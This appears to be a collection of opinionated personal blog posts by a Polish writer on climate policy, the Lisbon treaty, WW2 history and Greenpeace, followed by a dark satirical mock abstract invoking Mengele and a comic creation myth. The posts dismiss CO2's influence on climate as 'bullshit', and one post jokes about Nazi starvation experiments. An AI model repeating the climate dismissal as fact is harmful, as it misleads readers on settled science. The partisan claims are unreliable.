Poland has reduced the CO2 emissions by 30% between 1988 and 2008 (sustaining strong economical growth), while the Europe on average by 1% (of 6% Kyoto target) (source: former min. of environment Jan Szyszko)

France produces most of its energy in nuclear plants and pushes hard for further CO2 emission reduction by 20%. This brings 3 questions:

3. Where is the proof that emission of CO2 influences the climate? (besides the obvious calculation of costs, risks and benefits of attempted CO2 emission reduction, the climate model for the next 20 years that gave us the 20% number)

1. Shouldn't we put on balance also the costs and environmental risks of handling the disposed nuclear fuel for thousands of years?

2. The further 20% reduction plan does not account for the fact, that some countries have missed the Kyoto target, while some did more than required. Fair play?

Not asked: What influence on french politics has the fat nuclear industry lobby and will it receive contracts for new plants in Poland - we shall see.

I am afraid all this CO2 story is a huge bull game - bullying by bullshit.

EU plans to force second Lisbon vote
French politicians hatch plan to isolate Ireland and force second treaty poll
Richard Oakley

PLANS to isolate Ireland and force the country to hold a second referendum on the Lisbon treaty by next March were discussed at a European Union meeting 10 days ago.

Minutes of the event, and of a separate dinner with the French minister for European affairs, record how key French politicians and other MEPs said that Ireland should be put in an "untenable position" by pressing Poland and the Czech Republic to ratify the treaty by December.

The minutes were made available by a high-level source who attended both events. They tally with publicly available EU minutes but include direct quotes rather than the diplomatic language of the official record.

The meeting and dinner heard how Ireland's "intellectual mediocrity and lack of political courage" led to the rejection of the Lisbon treaty and included discussions of how to "cuddle and pamper" the Irish voter ahead of a new vote while at the same time "making pressures on them".

The meeting between the European parliament's committee for constitutional affairs and the European affairs committees of both the French senate and national assembly was held in Paris on October 9. It was followed by a dinner with Jean-Pierre Jouyet, the French equivalent of Dick Roche, Ireland's EU affairs minister.

Jacques Delors, former European commission president,warned that Europe should be wary of conceding to Ireland on Lisbon and criticised the Irish government for "going solo" on the bank crisis.

The official minutes record that members of the delegation discussed "the necessity of ratifying the Lisbon treaty as soon as possible" and an anxiety that a second referendum should be held before the European elections next June. The delegates were concerned that the elections could become a proxy referendum on the treaty.

Pierre Lequiller, a French politician, said it was necessary to get the Czech Republic and Poland to ratify the treaty quickly as this would "modify the situation of Ireland". Alain Lamassoure, a French MEP, said the Irish people should be made aware of the "consequences" of a second refusal.

Delors, according to the minutes, expressed concerns "about the price that Europe was willing to pay in order to obtain a ratification of the treaty by the Irish". He said: "The Irish have since gone solo in the financial crisis. They must understand, however, that to be a member of the EU also includes certain demands."

The minutes from the Sunday Times source show French politicians want Ireland to believe the EU will respect the country's sovereignty and demands, while telling the Irish people how the other 495m Europeans are watching them and "will be really angry" if the answer is no again.

The meeting discussed the option of ensuring the next referendum in Ireland should involve a question to which the Irish could not say no.

This, according to German and French politicians, could be achieved by giving Ireland guarantees of sovereignty over issues such as neutrality and abortion.

It would then ask the Irish electorate to vote on whether or not the country's membership of the EU was compatible with the constitution.

Marshal Józef Pisudski tries convincing France to execute together a preemptive war against Germany. France refuses. Fast-forward to 1939... (For uneducated, September 1st 1939 was the beginning of the Second World War, "WW2"). While already (legally at least) in war with Germany and being able to win on german soil, France remains passive again, until it is too late for France...
They also gave up on Enigma, what a grave underestimation of themselves...
Also look for Sir Robert Vansittart (of british Foreign Office) account of talks with Pilsudski.

How would you relate the NATO's denial of membership to Georgia and Ukraine after meeting in Rumania, April 2008 to Russian invasion of those countries? What was Germany's position then and do you start to see the pattern?

During Warsaw Uprising in August/October 1944 the Russian Army stopped the offensive at the border of Warsaw, leaving the city to be bathed in blood (200.000 civilians murdered, trainloads of property stolen), then completely destroyed by the German Army. Russia also refused any airport access to Allied airplanes trying to drop supplies for the fighting Poles. The German Army reversed it's original plan to leave the city and fought/raped/robbed/murdered for 63 days. Is there still not a pattern?

Are those facts or just products of imagination to be discarded without provoking cognitive dissonance?

So vigilant it had overlooked an entire sea, while busily fighting for ecologically insignificant part of a small river.

Google search for the keywords: greenpeace protest rospuda brought (2007.11.17) 13.800 links. Rospuda is a small river in Poland, in parts a natural reserve. A bridge was to be built above Rospuda in a place far from any natural reserves. The bridge would facilitate traffic along an overcrowded and dangerous route that connects Lithuania with the rest of Europe.

You didn't know Rospuda river? The vigilant knew, came, won and the construction has stopped.

Google search for the keywords: greenpeace protest nordstream brought (2007.11.17) 15 links. Nordstream is a joint venture between Russian state-owned company Gazprom (The former Chancellor of Germany, Gerhard Schroeder became a high-ranking employee of Gazprom within a month of his resignation as Chancellor) and German companies Wintershall AG and E.ON Ruhrgas. It was established to build a gas pipe directly from Russia to Germany along the bed of the Baltic Sea, bypassing E.U. member states Poland, Latvia, Lithuania and Estonia. The project, if completed, would constitute a major ecological threat to the Baltic sea. Sweden and other governments had already voiced their concern about the ecological safety of this project.

You did know where Baltic sea is. Mind showing it to the vigilant?

Who covers the Greenpeace's expenses? No, that can't have anything to do with the vigilance! Can't it?

Abstract: The body of a human worker needs regular supply of carbohydrates and proteins to sustain service activity. The need for animal protein in diet is the most important limit of worker body cost efficiency, additionally presenting heavy environmental load. The life time of a worker body is divided into revenue-generating workspan and cost-generating, unproductive postworkspan (retirement period). We review historical solutions, including the most promissing 3 year continuous low-nutrition workforce diet trial (Mengele, et. al). Based on existing data, we propose a novel age-dependent dietary approach which maximizes the workspan, shortening the postworkspan. In our scheme, the work is extracted at the rate only slightly above the body homeostasis level provided by protein-rich nutrition at the start of workspan (when the feeding costs are covered by body's parents), with the load gradually increasing towards the retirement. The old body's aminoacid deficits are compensated for by carry-over from adolescence. The increased workload in later stage decreases the length of the unproductive postworkspan. Limited protein intake later in the service opens new possibilities for extracting additional revenues from the worker body. (Terlih A., Guchashwili J.V., Shub G., Tenochip A.

Irenka said one can be arrested in Saudi Arabia for carrying flowers on Valentine's Day.
I don't care much about Valentine's, but the zeal of some governments in oppressing people lead me to wish a special weapon to fight a war I'd gladly participate in: A mean to specifically disable (without hurting if possible) the members of government. No harm to the general population.

The Great Dubhugu (Hail His Name) collapsed in the couch, gulped beer and called His Grandson, The Great Creator of Species. "There are problems at my hunting grounds, Kfilifihi. Thou shall ynvestigate."
His Father's wish was His duty. "One day it will change. It shall be me opening this story and creating the species." And so he went.
We leave TGD(HHN) until the next gulp of beer. The sun was setting down, casting invisible shadows of the animals-to-be and the plants-to-be. "So be it. Fkdbhgxz, come here." He caled His dentist.

And so he went and created the species. And the Darwinists did never know.
